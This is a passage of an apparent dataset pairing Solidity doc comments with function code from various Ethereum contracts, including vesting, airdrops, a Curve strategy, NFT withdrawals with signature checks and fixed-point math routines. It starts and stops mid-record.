enqueue it for review.\n queryIndices[identifier][time] = QueryIndex(true, requestedPrices.length);\n requestedPrices.push(QueryPoint(identifier, time));\n }\n }", "version": "0.6.12"} {"comment": "// Pushes the verified price for a requested query.", "function_code": "function pushPrice(\n bytes32 identifier,\n uint256 time,\n int256 price\n ) external {\n verifiedPrices[identifier][time] = Price(true, price, getCurrentTime());\n\n QueryIndex storage queryIndex = queryIndices[identifier][time];\n require(queryIndex.isValid, \"Can't push prices that haven't been requested\");\n // Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with\n // the contents of the last index (unless it is the last index).\n uint256 indexToReplace = queryIndex.index;\n delete queryIndices[identifier][time];\n uint256 lastIndex = requestedPrices.length - 1;\n if (lastIndex != indexToReplace) {\n QueryPoint storage queryToCopy = requestedPrices[lastIndex];\n queryIndices[queryToCopy.identifier][queryToCopy.time].index = indexToReplace;\n requestedPrices[indexToReplace] = queryToCopy;\n }\n }", "version": "0.6.12"} {"comment": "/*\r\n @notice deposit token into curve\r\n */", "function_code": "function _depositIntoCurve(address _token, uint _index) private {\r\n // token to LP\r\n uint bal = IERC20(_token).balanceOf(address(this));\r\n if (bal > 0) {\r\n IERC20(_token).safeApprove(DEPOSIT, 0);\r\n IERC20(_token).safeApprove(DEPOSIT, bal);\r\n\r\n // mint LP\r\n uint[4] memory amounts;\r\n amounts[_index] = bal;\r\n\r\n /*\r\n shares = underlying amount * precision div * 1e18 / price per share\r\n */\r\n uint pricePerShare = StableSwapBBTC(SWAP).get_virtual_price();\r\n uint shares = bal.mul(PRECISION_DIV[_index]).mul(1e18).div(pricePerShare);\r\n uint min = shares.mul(SLIPPAGE_MAX - slippage) / SLIPPAGE_MAX;\r\n\r\n DepositBBTC(DEPOSIT).add_liquidity(amounts, min);\r\n }\r\n\r\n // stake into LiquidityGaugeV2\r\n uint lpBal = IERC20(LP).balanceOf(address(this));\r\n if (lpBal > 0) {\r\n IERC20(LP).safeApprove(GAUGE, 0);\r\n IERC20(LP).safeApprove(GAUGE, lpBal);\r\n LiquidityGaugeV2(GAUGE).deposit(lpBal);\r\n }\r\n }", "version": "0.6.11"} {"comment": "/*\r\n @notice Returns address and index of token with lowest balance in Curve SWAP\r\n */", "function_code": "function _getMostPremiumToken() private view returns (address, uint) {\r\n uint[2] memory balances;\r\n balances[0] = StableSwapBBTC(SWAP).balances(0).mul(1e10); // BBTC\r\n balances[1] = StableSwapBBTC(SWAP).balances(1); // SBTC pool\r\n\r\n if (balances[0] <= balances[1]) {\r\n return (BBTC, 0);\r\n } else {\r\n uint[3] memory baseBalances;\r\n baseBalances[0] = StableSwapSBTC(BASE_POOL).balances(0).mul(1e10); // REN_BTC\r\n baseBalances[1] = StableSwapSBTC(BASE_POOL).balances(1).mul(1e10); // WBTC\r\n baseBalances[2] = StableSwapSBTC(BASE_POOL).balances(2); // SBTC\r\n\r\n uint minIndex = 0;\r\n for (uint i = 1; i < baseBalances.length; i++) {\r\n if (baseBalances[i] <= baseBalances[minIndex]) {\r\n minIndex = i;\r\n }\r\n }\r\n\r\n /*\r\n REN_BTC 1\r\n WBTC 2\r\n SBTC 3\r\n */\r\n\r\n if (minIndex == 0) {\r\n return (REN_BTC, 1);\r\n }\r\n if (minIndex == 1) {\r\n return (WBTC, 2);\r\n }\r\n // SBTC has low liquidity, so buying is disabled by default\r\n if (!disableSbtc) {\r\n return (SBTC, 3);\r\n }\r\n return (WBTC, 2);\r\n }\r\n }", "version": "0.6.11"} {"comment": "/*\r\n @notice Claim CRV and deposit most premium token into Curve\r\n */", "function_code": "function harvest() external override onlyAuthorized {\r\n (address token, uint index) = _getMostPremiumToken();\r\n\r\n _claimRewards(token);\r\n\r\n uint bal = IERC20(token).balanceOf(address(this));\r\n if (bal > 0) {\r\n // transfer fee to treasury\r\n uint fee = bal.mul(performanceFee) / PERFORMANCE_FEE_MAX;\r\n if (fee > 0) {\r\n address treasury = IController(controller).treasury();\r\n require(treasury != address(0), \"treasury = zero address\");\r\n\r\n IERC20(token).safeTransfer(treasury, fee);\r\n }\r\n\r\n _depositIntoCurve(token, index);\r\n }\r\n }", "version": "0.6.11"} {"comment": "/**\n * @dev Add multiple vesting to contract by arrays of data\n * @param _users[] addresses of holders\n * @param _startTokens[] tokens that can be withdrawn at startDate\n * @param _totalTokens[] total tokens in vesting\n * @param _startDate date from when tokens can be claimed\n * @param _endDate date after which all tokens can be claimed\n */", "function_code": "function massAddHolders(\n address[] calldata _users,\n uint256[] calldata _startTokens,\n uint256[] calldata _totalTokens,\n uint256 _startDate,\n uint256 _endDate\n ) external onlyOwner whenNotLocked {\n uint256 len = _users.length; //cheaper to use one variable\n require((len == _startTokens.length) && (len == _totalTokens.length), \"data size mismatch\");\n require(_startDate < _endDate, \"startDate cannot exceed endDate\");\n uint256 i;\n for (i; i < len; i++) {\n _addHolder(_users[i], _startTokens[i], _totalTokens[i], _startDate, _endDate);\n }\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Add new vesting to contract\n * @param _user address of a holder\n * @param _startTokens how many tokens are claimable at start date\n * @param _totalTokens total number of tokens in added vesting\n * @param _startDate date from when tokens can be claimed\n * @param _endDate date after which all tokens can be claimed\n */", "function_code": "function _addHolder(\n address _user,\n uint256 _startTokens,\n uint256 _totalTokens,\n uint256 _startDate,\n uint256 _endDate\n ) internal {\n require(_user != address(0), \"user address cannot be 0\");\n Vest memory v;\n v.startTokens = _startTokens;\n v.totalTokens = _totalTokens;\n v.dateStart = _startDate;\n v.dateEnd = _endDate;\n\n totalVested += _totalTokens;\n vestings.push(v);\n user2vesting[_user].push(vestings.length); // we are skipping index \"0\" for reasons\n emit Vested(_user, _totalTokens, _endDate);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev internal claim function\n * @param _user address of holder\n * @param _target where tokens should be send\n * @return amt number of tokens claimed\n */", "function_code": "function _claim(address _user, address _target) internal nonReentrant returns (uint256 amt) {\n require(_target != address(0), \"Claim, then burn\");\n if (!vestingAdded[_user] && !refunded[_user]) {\n _addVesting(_user);\n }\n uint256 len = user2vesting[_user].length;\n require(len > 0, \"No vestings for user\");\n uint256 cl;\n uint256 i;\n for (i; i < len; i++) {\n Vest storage v = vestings[user2vesting[_user][i] - 1];\n cl = _claimable(v);\n v.claimedTokens += cl;\n amt += cl;\n }\n if (amt > 0) {\n totalClaimed += amt;\n _transfer(_target, amt);\n emit Claimed(_user, amt);\n } else revert(\"Nothing to claim\");\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Count how many tokens can be claimed from vesting to date\n * @param _vesting Vesting object\n * @return canWithdraw number of tokens\n */", "function_code": "function _claimable(Vest memory _vesting) internal view returns (uint256 canWithdraw) {\n uint256 currentTime = block.timestamp;\n if (_vesting.dateStart > currentTime) return 0;\n // we are somewhere in the middle\n if (currentTime < _vesting.dateEnd) {\n // how much time passed (as fraction * 10^18)\n // timeRatio = (time passed * 1e18) / duration\n uint256 timeRatio = (currentTime - _vesting.dateStart).divPrecisely(_vesting.dateEnd - _vesting.dateStart);\n // how much tokens we can get in total to date\n canWithdraw = (_vesting.totalTokens - _vesting.startTokens).mulTruncate(timeRatio) + _vesting.startTokens;\n }\n // time has passed, we can take all tokens\n else {\n canWithdraw = _vesting.totalTokens;\n }\n // but maybe we take something earlier?\n canWithdraw -= _vesting.claimedTokens;\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Read total amount of tokens that user can claim to date from all vestings\n * Function also includes tokens to claim from sale contracts that were not\n * yet initiated for user.\n * @param _user address of holder\n * @return amount number of tokens\n */", "function_code": "function getAllClaimable(address _user) public view returns (uint256 amount) {\n uint256 len = user2vesting[_user].length;\n uint256 i;\n for (i; i < len; i++) {\n amount += _claimable(vestings[user2vesting[_user][i] - 1]);\n }\n\n if (!vestingAdded[_user]) {\n amount += _claimableFromSaleContracts(_user);\n }\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Extract all the vestings for the user\n * Also extract not initialized vestings from\n * sale contracts.\n * @param _user address of holder\n * @return v array of Vest objects\n */", "function_code": "function getVestings(address _user) external view returns (Vest[] memory) {\n // array of pending vestings\n Vest[] memory pV;\n\n if (!vestingAdded[_user]) {\n pV = _vestingsFromSaleContracts(_user);\n }\n uint256 pLen = pV.length;\n uint256 len = user2vesting[_user].length;\n Vest[] memory v = new Vest[](len + pLen);\n\n // copy normal vestings\n uint256 i;\n for (i; i < len; i++) {\n v[i] = vestings[user2vesting[_user][i] - 1];\n }\n\n // copy not initialized vestings\n if (!vestingAdded[_user]) {\n uint256 j;\n for (j; j < pLen; j++) {\n v[i + j] = pV[j];\n }\n }\n\n return v;\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Read registered vesting list by range from-to\n * @param _start first index\n * @param _end last index\n * @return array of Vest objects\n */", "function_code": "function getVestingsByRange(uint256 _start, uint256 _end) external view returns (Vest[] memory) {\n uint256 cnt = _end - _start + 1;\n uint256 len = vestings.length;\n require(_end < len, \"range error\");\n Vest[] memory v = new Vest[](cnt);\n uint256 i;\n for (i; i < cnt; i++) {\n v[i] = vestings[_start + i];\n }\n return v;\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Register sale contract\n * @param _contractAddresses addresses of sale contracts\n * @param _tokensPerCent sale price\n * @param _maxAmount the maximum amount in USD cents for which user could buy\n * @param _percentOnStart percentage of vested coins that can be claimed on start date\n * @param _startDate date when initial vesting can be released\n * @param _endDate final date of vesting, where all tokens can be claimed\n */", "function_code": "function addSaleContract(\n address[] memory _contractAddresses,\n uint256 _tokensPerCent,\n uint256 _maxAmount,\n uint256 _percentOnStart,\n uint256 _startDate,\n uint256 _endDate\n ) external onlyOwner whenNotLocked {\n require(_contractAddresses.length > 0, \"data is missing\");\n require(_startDate < _endDate, \"startDate cannot exceed endDate\");\n SaleContract memory s;\n s.contractAddresses = _contractAddresses;\n s.tokensPerCent = _tokensPerCent;\n s.maxAmount = _maxAmount;\n s.startDate = _startDate;\n s.percentOnStart = _percentOnStart;\n s.endDate = _endDate;\n saleContracts.push(s);\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Function iterate sale contracts and initialize corresponding\n * vesting for user.\n * @param _user address that will be initialized\n */", "function_code": "function _addVesting(address _user) internal {\n require(!refunded[_user], \"User refunded\");\n require(!vestingAdded[_user], \"Already done\");\n uint256 len = saleContracts.length;\n uint256 i;\n for (i; i < len; i++) {\n SaleContract memory s = saleContracts[i];\n uint256 sLen = s.contractAddresses.length;\n uint256 j;\n uint256 amt;\n for (j; j < sLen; j++) {\n amt += ISaleContract(s.contractAddresses[j]).balanceOf(_user);\n }\n // amt is in cents, so $100 = 10000\n if (amt > 0) {\n if (amt > s.maxAmount) {\n amt = s.maxAmount;\n }\n // create Vest object\n Vest memory v = _vestFromSaleContractAndAmount(s, amt);\n // update contract data\n totalVested += v.totalTokens;\n vestings.push(v);\n user2vesting[_user].push(vestings.length);\n emit Vested(_user, v.totalTokens, v.dateEnd);\n }\n }\n vestingAdded[_user] = true;\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Function iterate sale contracts and count claimable amounts for given user.\n * Used to calculate claimable amounts from not initialized vestings.\n * @param _user address of user to count claimable\n * @return claimable amount of tokens\n */", "function_code": "function _claimableFromSaleContracts(address _user) internal view returns (uint256 claimable) {\n if (refunded[_user]) return 0;\n uint256 len = saleContracts.length;\n if (len == 0) return 0;\n uint256 i;\n for (i; i < len; i++) {\n SaleContract memory s = saleContracts[i];\n uint256 sLen = s.contractAddresses.length;\n uint256 j;\n uint256 amt;\n for (j; j < sLen; j++) {\n amt += ISaleContract(s.contractAddresses[j]).balanceOf(_user);\n }\n // amt is in cents, so $100 = 10000\n if (amt > 0) {\n if (amt > s.maxAmount) {\n amt = s.maxAmount;\n }\n claimable += _claimable(_vestFromSaleContractAndAmount(s, amt));\n }\n }\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Function iterate sale contracts and extract not initialized user vestings.\n * Used to return all stored and not initialized vestings.\n * @param _user address of user to extract vestings\n * @return v vesting array\n */", "function_code": "function _vestingsFromSaleContracts(address _user) internal view returns (Vest[] memory) {\n uint256 len = saleContracts.length;\n if (refunded[_user] || len == 0) return new Vest[](0);\n\n Vest[] memory v = new Vest[](_numberOfVestingsFromSaleContracts(_user));\n uint256 i;\n uint256 idx;\n for (i; i < len; i++) {\n SaleContract memory s = saleContracts[i];\n uint256 sLen = s.contractAddresses.length;\n uint256 j;\n uint256 amt;\n for (j; j < sLen; j++) {\n amt += ISaleContract(s.contractAddresses[j]).balanceOf(_user);\n }\n // amt is in cents, so $100 = 10000\n if (amt > 0) {\n if (amt > s.maxAmount) {\n amt = s.maxAmount;\n }\n v[idx] = _vestFromSaleContractAndAmount(s, amt);\n idx++;\n }\n }\n return v;\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Function iterate sale contracts and return number of not initialized vestings for user.\n * @param _user address of user to extract vestings\n * @return number of not not initialized user vestings\n */", "function_code": "function _numberOfVestingsFromSaleContracts(address _user) internal view returns (uint256 number) {\n uint256 len = saleContracts.length;\n uint256 i;\n for (i; i < len; i++) {\n SaleContract memory s = saleContracts[i];\n uint256 sLen = s.contractAddresses.length;\n uint256 j;\n uint256 amt;\n for (j; j < sLen; j++) {\n amt += ISaleContract(s.contractAddresses[j]).balanceOf(_user);\n }\n // amt is in cents, so $100 = 10000\n if (amt > 0) {\n number++;\n }\n }\n }", "version": "0.8.6"} {"comment": "/**\n * @dev Return vesting created from given sale and usd cent amount.\n * @param _sale address of user to extract vestings\n * @param _amount address of user to extract vestings\n * @return v vesting from given parameters\n */", "function_code": "function _vestFromSaleContractAndAmount(SaleContract memory _sale, uint256 _amount) internal pure returns (Vest memory v) {\n v.dateStart = _sale.startDate;\n v.dateEnd = _sale.endDate;\n uint256 total = _amount * _sale.tokensPerCent;\n v.totalTokens = total;\n v.startTokens = (total * _sale.percentOnStart) / 100;\n }", "version": "0.8.6"} {"comment": "/**\r\n * @dev Send tokens to other multi addresses in one function\r\n *\r\n * @param _destAddrs address The addresses which you want to send tokens to\r\n * @param _values uint256 the amounts of tokens to be sent\r\n */", "function_code": "function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) {\r\n require(_destAddrs.length == _values.length);\r\n\r\n uint256 i = 0;\r\n for (; i < _destAddrs.length; i = i.add(1)) {\r\n if (!erc20tk.transfer(_destAddrs[i], _values[i])) {\r\n break;\r\n }\r\n }\r\n\r\n return (i);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Send tokens to other multi addresses in one function\r\n *\r\n * @param _rand a random index for choosing a FlyDropToken contract address\r\n * @param _from address The address which you want to send tokens from\r\n * @param _value uint256 the amounts of tokens to be sent\r\n * @param _token address the ERC20 token address\r\n */", "function_code": "function prepare(uint256 _rand,\r\n address _from,\r\n address _token,\r\n uint256 _value) onlyOwner public returns (bool) {\r\n require(_token != address(0));\r\n require(_from != address(0));\r\n require(_rand > 0);\r\n\r\n if (ERC20(_token).allowance(_from, this) < _value) {\r\n return false;\r\n }\r\n\r\n if (_rand > dropTokenAddrs.length) {\r\n SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken();\r\n dropTokenAddrs.push(address(dropTokenContract));\r\n currentDropTokenContract = dropTokenContract;\r\n } else {\r\n currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]);\r\n }\r\n\r\n currentDropTokenContract.setToken(_token);\r\n return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value);\r\n // budgets[_token][_from] = budgets[_token][_from].sub(_value);\r\n // return itoken(_token).approveAndCall(currentDropTokenContract, _value, _extraData);\r\n // return true;\r\n }", "version": "0.4.24"} {"comment": "/**\n * @notice Distributes drained rewards\n */", "function_code": "function distribute(uint256 tipAmount) external payable {\n require(drainController != address(0), \"drainctrl not set\");\n require(WETH.balanceOf(address(this)) >= wethThreshold, \"weth balance too low\");\n uint256 drainWethBalance = WETH.balanceOf(address(this));\n uint256 gasAmt = drainWethBalance.mul(gasShare).div(1000);\n uint256 devAmt = drainWethBalance.mul(treasuryShare).div(1000);\n uint256 lpRewardPoolAmt = drainWethBalance.mul(lpRewardPoolShare).div(1000);\n uint256 drcRewardPoolAmt = drainWethBalance.mul(drcRewardPoolShare).div(1000);\n\n // Unwrap WETH and transfer ETH to DrainController to cover drain gas fees\n WETH.withdraw(gasAmt);\n drainController.transfer(gasAmt);\n\n // Treasury\n WETH.transfer(treasury, devAmt);\n\n // Reward pools\n IRewardPool(lpRewardPool).fundPool(lpRewardPoolAmt);\n\n // Buy-back\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = drc;\n\n if (tipAmount > 0) {\n (bool success, ) = block.coinbase.call{value: tipAmount}(\"\");\n require(success, \"Could not tip miner\");\n }\n\n uint[] memory amounts = swapRouter.getAmountsOut(drcRewardPoolAmt, path);\n swapRouter.swapExactTokensForTokens(drcRewardPoolAmt, amounts[amounts.length - 1], path, drcRewardPool, block.timestamp);\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Changes the distribution percentage\n * Percentages are using decimal base of 1000 ie: 10% = 100\n */", "function_code": "function changeDistribution(\n uint256 gasShare_,\n uint256 treasuryShare_,\n uint256 lpRewardPoolShare_,\n uint256 drcRewardPoolShare_)\n external\n onlyOwner\n {\n require((gasShare_ + treasuryShare_ + lpRewardPoolShare_ + drcRewardPoolShare_) == 1000, \"invalid distribution\");\n gasShare = gasShare_;\n treasuryShare = treasuryShare_;\n lpRewardPoolShare = lpRewardPoolShare_;\n drcRewardPoolShare = drcRewardPoolShare_;\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Add or remove an address to the supervisor whitelist\r\n * @param _supervisor - Address to be allowed or not\r\n * @param _allowed - Whether the contract will be allowed or not\r\n */", "function_code": "function setSupervisor(address _supervisor, bool _allowed) external onlyOwner {\r\n if (_allowed) {\r\n require(!supervisorWhitelist[_supervisor], \"The supervisor is already whitelisted\");\r\n } else {\r\n require(supervisorWhitelist[_supervisor], \"The supervisor is not whitelisted\");\r\n }\r\n\r\n supervisorWhitelist[_supervisor] = _allowed;\r\n emit SupervisorSet(_supervisor, _allowed, msg.sender);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw an NFT by committing a valid signature\r\n * @param _beneficiary - Beneficiary's address\r\n * @param _contract - NFT contract' address\r\n * @param _tokenId - Token id\r\n * @param _expires - Expiration of the signature\r\n * @param _userId - User id\r\n * @param _signature - Signature\r\n */", "function_code": "function withdraw(\r\n address _beneficiary,\r\n address _contract,\r\n uint256 _tokenId,\r\n uint256 _expires,\r\n bytes calldata _userId,\r\n bytes calldata _signature\r\n ) external {\r\n require(_expires >= block.timestamp, \"Expired signature\");\r\n\r\n bytes32 messageHash = keccak256(\r\n abi.encodePacked(\r\n _beneficiary,\r\n _contract,\r\n _tokenId,\r\n _expires,\r\n _userId\r\n )\r\n ).toEthSignedMessageHash();\r\n\r\n _validateMessageAndSignature(messageHash, _signature);\r\n\r\n _withdraw(_beneficiary, _contract, _tokenId, _userId);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw many NFTs\r\n * @param _beneficiary - Beneficiary's address\r\n * @param _contracts - NFT contract' addresses\r\n * @param _tokenIds - Token ids\r\n * @param _userId - User id\r\n */", "function_code": "function withdrawMany(\r\n address _beneficiary,\r\n address[] calldata _contracts,\r\n uint256[] calldata _tokenIds,\r\n bytes calldata _userId\r\n ) external onlyAdmin {\r\n require(\r\n _contracts.length == _tokenIds.length,\r\n \"Contracts and token ids must have the same length\"\r\n );\r\n\r\n _withdrawMany(_beneficiary, _contracts, _tokenIds, _userId);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw many NFTs by committing a valid signature\r\n * @param _beneficiary - Beneficiary's address\r\n * @param _contracts - NFT contract' addresses\r\n * @param _tokenIds - Token ids\r\n * @param _expires - Expiration of the signature\r\n * @param _userId - User id\r\n * @param _signature - Signature\r\n */", "function_code": "function withdrawMany(\r\n address _beneficiary,\r\n address[] calldata _contracts,\r\n uint256[] calldata _tokenIds,\r\n uint256 _expires,\r\n bytes calldata _userId,\r\n bytes calldata _signature\r\n ) external {\r\n require(_expires >= block.timestamp, \"Expired signature\");\r\n require(\r\n _contracts.length == _tokenIds.length,\r\n \"Contracts and token ids must have the same length\"\r\n );\r\n\r\n bytes memory transferData;\r\n\r\n for (uint256 i = 0; i < _contracts.length; i++) {\r\n transferData = abi.encodePacked(\r\n transferData,\r\n abi.encode(\r\n _contracts[i],\r\n _tokenIds[i]\r\n )\r\n );\r\n }\r\n\r\n bytes32 messageHash = keccak256(\r\n abi.encodePacked(\r\n _beneficiary,\r\n transferData,\r\n _expires,\r\n _userId\r\n )\r\n )\r\n .toEthSignedMessageHash();\r\n\r\n _validateMessageAndSignature(messageHash, _signature);\r\n\r\n _withdrawMany(_beneficiary, _contracts, _tokenIds, _userId);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw NFTs by minting them\r\n * @param _beneficiary - Beneficiary's address\r\n * @param _contracts - NFT contract' addresses\r\n * @param _optionIds - Option ids\r\n * @param _issuedIds - Issued ids\r\n * @param _userId - User id\r\n */", "function_code": "function issueManyTokens(\r\n address _beneficiary,\r\n address[] calldata _contracts,\r\n uint256[] calldata _optionIds,\r\n uint256[] calldata _issuedIds,\r\n bytes calldata _userId\r\n ) external onlyAdmin {\r\n require(\r\n _contracts.length == _optionIds.length,\r\n \"Contracts and option ids must have the same length\"\r\n );\r\n require(\r\n _optionIds.length == _issuedIds.length,\r\n \"Option ids and issued ids must have the same length\"\r\n );\r\n\r\n _issueManyTokens(\r\n _beneficiary,\r\n _contracts,\r\n _optionIds,\r\n _issuedIds,\r\n _userId\r\n );\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw an NFT by minting it committing a valid signature\r\n * @param _beneficiary - Beneficiary's address\r\n * @param _contract - NFT contract' address\r\n * @param _optionId - Option id\r\n * @param _issuedId - Issued id\r\n * @param _expires - Expiration of the signature\r\n * @param _userId - User id\r\n * @param _signature - Signature\r\n */", "function_code": "function issueToken(\r\n address _beneficiary,\r\n address _contract,\r\n uint256 _optionId,\r\n uint256 _issuedId,\r\n uint256 _expires,\r\n bytes calldata _userId,\r\n bytes calldata _signature\r\n ) external {\r\n require(_expires >= block.timestamp, \"Expired signature\");\r\n\r\n bytes32 messageHash = keccak256(\r\n abi.encodePacked(\r\n _beneficiary,\r\n _contract,\r\n _optionId,\r\n _issuedId,\r\n _expires,\r\n _userId\r\n )\r\n ).toEthSignedMessageHash();\r\n\r\n _validateMessageAndSignature(messageHash, _signature);\r\n\r\n _issueToken(\r\n _beneficiary,\r\n _contract,\r\n _optionId,\r\n _issuedId,\r\n _userId\r\n );\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw NFTs by minting them\r\n * @param _beneficiary - Beneficiary's address\r\n * @param _contracts - NFT contract' addresses\r\n * @param _optionIds - Option ids\r\n * @param _issuedIds - Issued ids\r\n * @param _expires - Expiration of the signature\r\n * @param _userId - User id\r\n * @param _signature - Signature\r\n */", "function_code": "function issueManyTokens(\r\n address _beneficiary,\r\n address[] calldata _contracts,\r\n uint256[] calldata _optionIds,\r\n uint256[] calldata _issuedIds,\r\n uint256 _expires,\r\n bytes calldata _userId,\r\n bytes calldata _signature\r\n ) external {\r\n require(_expires >= block.timestamp, \"Expired signature\");\r\n require(\r\n _contracts.length == _optionIds.length,\r\n \"Contracts and option ids must have the same length\"\r\n );\r\n require(\r\n _optionIds.length == _issuedIds.length,\r\n \"Option ids and issued ids must have the same length\"\r\n );\r\n\r\n\r\n bytes memory mintData;\r\n\r\n for (uint256 i = 0; i < _contracts.length; i++) {\r\n mintData = abi.encodePacked(\r\n mintData,\r\n abi.encode(\r\n _contracts[i],\r\n _optionIds[i],\r\n _issuedIds[i]\r\n )\r\n );\r\n }\r\n\r\n bytes32 messageHash = keccak256(\r\n abi.encodePacked(\r\n _beneficiary,\r\n mintData,\r\n _expires,\r\n _userId\r\n )\r\n )\r\n .toEthSignedMessageHash();\r\n\r\n _validateMessageAndSignature(messageHash, _signature);\r\n\r\n _issueManyTokens(\r\n _beneficiary,\r\n _contracts,\r\n _optionIds,\r\n _issuedIds,\r\n _userId\r\n );\r\n }", "version": "0.6.12"} {"comment": "// Let's do some minting for promotional supply.", "function_code": "function magicMint(uint256 numTokens) external onlyOwner {\n require((totalSupply() + numTokens) <= MAX_SUPPLY, \"Exceeds maximum token supply.\");\n require((numTokens + _numberPromoSent) <= PROMO_SUPPLY, \"Cannot exceed 99 total before public mint.\");\n\n for (uint i = 0; i < numTokens; i++) {\n uint mintIndex = totalSupply();\n _safeMint(msg.sender, mintIndex);\n _numberPromoSent += 1;\n }\n }", "version": "0.8.4"} {"comment": "// Airdrop to allow for sending direct to some addresses", "function_code": "function airdrop( address [] memory recipients ) public onlyOwner {\n require((totalSupply() + recipients.length) <= MAX_SUPPLY, \"Exceeds maximum token supply.\");\n require((recipients.length + _numberPromoSent) <= PROMO_SUPPLY, \"Cannot exceed 99 total before public mint.\");\n\n for(uint i ; i < recipients.length; i++ ){\n uint mintIndex = totalSupply();\n _safeMint(recipients[i], mintIndex);\n _numberPromoSent += 1;\n }\n }", "version": "0.8.4"} {"comment": "/*\n \t Oracle functions\n \t*/", "function_code": "function oracleStoreRatesAndProcessTrade( uint256 trade_id, uint256 _instrument_ts_rates ) public onlyOracle {\n\t uint256 startGas = gasleft();\n\t uint48 its1 = uint48( _instrument_ts_rates >> 192 );\n\t uint48 its2 = uint48( (_instrument_ts_rates << 128) >> 192 );\n\t uint64 begin_rate = uint64( (_instrument_ts_rates << 64) >> 192 );\n\t uint64 end_rate = uint64( (_instrument_ts_rates << 192) >> 192 );\n\t \n\t if ( instrumentRates[its1] == 0 ) instrumentRates[its1] = begin_rate;\n\t if ( instrumentRates[its2] == 0 ) instrumentRates[its2] = end_rate;\n\t \n\t __processTrade( trade_id, begin_rate, end_rate );\n\t // Calc new gas amount for process the trade, 30200 is the constant cost to call\n\t gas_for_process = startGas - gasleft() + 30200;\n\t}", "version": "0.6.11"} {"comment": "/**\r\n * @param _tokenAddr the address of the ERC20Token\r\n * @param _to the list of addresses that can receive your tokens\r\n * @param _value the list of all the amounts that every _to address will receive\r\n * \r\n * @return true if all the transfers are OK.\r\n * \r\n * PLEASE NOTE: Max 150 addresses per time are allowed.\r\n * \r\n * PLEASE NOTE: remember to call the 'approve' function on the Token first,\r\n * to let MultiSender be able to transfer your tokens.\r\n */", "function_code": "function multiSend(address _tokenAddr, address[] memory _to, uint256[] memory _value) public returns (bool _success) {\r\n assert(_to.length == _value.length);\r\n assert(_to.length <= 150);\r\n ERC20 _token = ERC20(_tokenAddr);\r\n for (uint8 i = 0; i < _to.length; i++) {\r\n assert((_token.transferFrom(msg.sender, _to[i], _value[i])) == true);\r\n }\r\n return true;\r\n }", "version": "0.5.1"} {"comment": "// ====================================================\n// PUBLIC API\n// ====================================================", "function_code": "function tokenURI(uint256 tokenId)\n public\n view\n virtual\n override\n returns (string memory)\n {\n require(_exists(tokenId), \"URI query for nonexistent token\");\n\n string memory _tokenURI = _tokenURIs[tokenId];\n string memory base = _baseURI();\n\n // if a custom tokenURI has not been set, return base + tokenId.json\n if(bytes(_tokenURI).length == 0) {\n return string(abi.encodePacked(base, tokenId.toString(), \".json\"));\n }\n\n // a custom tokenURI has been set - likely after metadata IPFS migration\n return _tokenURI;\n }", "version": "0.8.11"} {"comment": "/**\n * Convert signed 256-bit integer number into quadruple precision number.\n *\n * @param x signed 256-bit integer number\n * @return quadruple precision number\n */", "function_code": "function fromInt(int256 x) internal pure returns (bytes16) {\n unchecked {\n if (x == 0) return bytes16(0);\n else {\n // We rely on overflow behavior here\n uint256 result = uint256(x > 0 ? x : -x);\n\n uint256 msb = mostSignificantBit(result);\n if (msb < 112) result <<= 112 - msb;\n else if (msb > 112) result >>= msb - 112;\n\n result =\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n ((16383 + msb) << 112);\n if (x < 0) result |= 0x80000000000000000000000000000000;\n\n return bytes16(uint128(result));\n }\n }\n }", "version": "0.8.3"} {"comment": "/**\n * Convert quadruple precision number into signed 256-bit integer number\n * rounding towards zero. Revert on overflow.\n *\n * @param x quadruple precision number\n * @return signed 256-bit integer number\n */", "function_code": "function toInt(bytes16 x) internal pure returns (int256) {\n unchecked {\n uint256 exponent = (uint128(x) >> 112) & 0x7FFF;\n\n require(exponent <= 16638); // Overflow\n if (exponent < 16383) return 0; // Underflow\n\n uint256 result =\n (uint256(uint128(x)) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) |\n 0x10000000000000000000000000000;\n\n if (exponent < 16495) result >>= 16495 - exponent;\n else if (exponent > 16495) result <<= exponent - 16495;\n\n if (uint128(x) >= 0x80000000000000000000000000000000) {\n // Negative\n require(\n result <=\n 0x8000000000000000000000000000000000000000000000000000000000000000\n );\n return -int256(result); // We rely on overflow behavior here\n } else {\n require(\n result <=\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n );\n return int256(result);\n }\n }\n }", "version": "0.8.3"} {"comment": "/**\n * Convert unsigned 256-bit integer number into quadruple precision number.\n *\n * @param x unsigned 256-bit integer number\n * @return quadruple precision number\n */", "function_code": "function fromUInt(uint256 x) internal pure returns (bytes16) {\n unchecked {\n if (x == 0) return bytes16(0);\n else {\n uint256 result = x;\n\n uint256 msb = mostSignificantBit(result);\n if (msb < 112) result <<= 112 - msb;\n else if (msb > 112) result >>= msb - 112;\n\n result =\n (result & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFF) 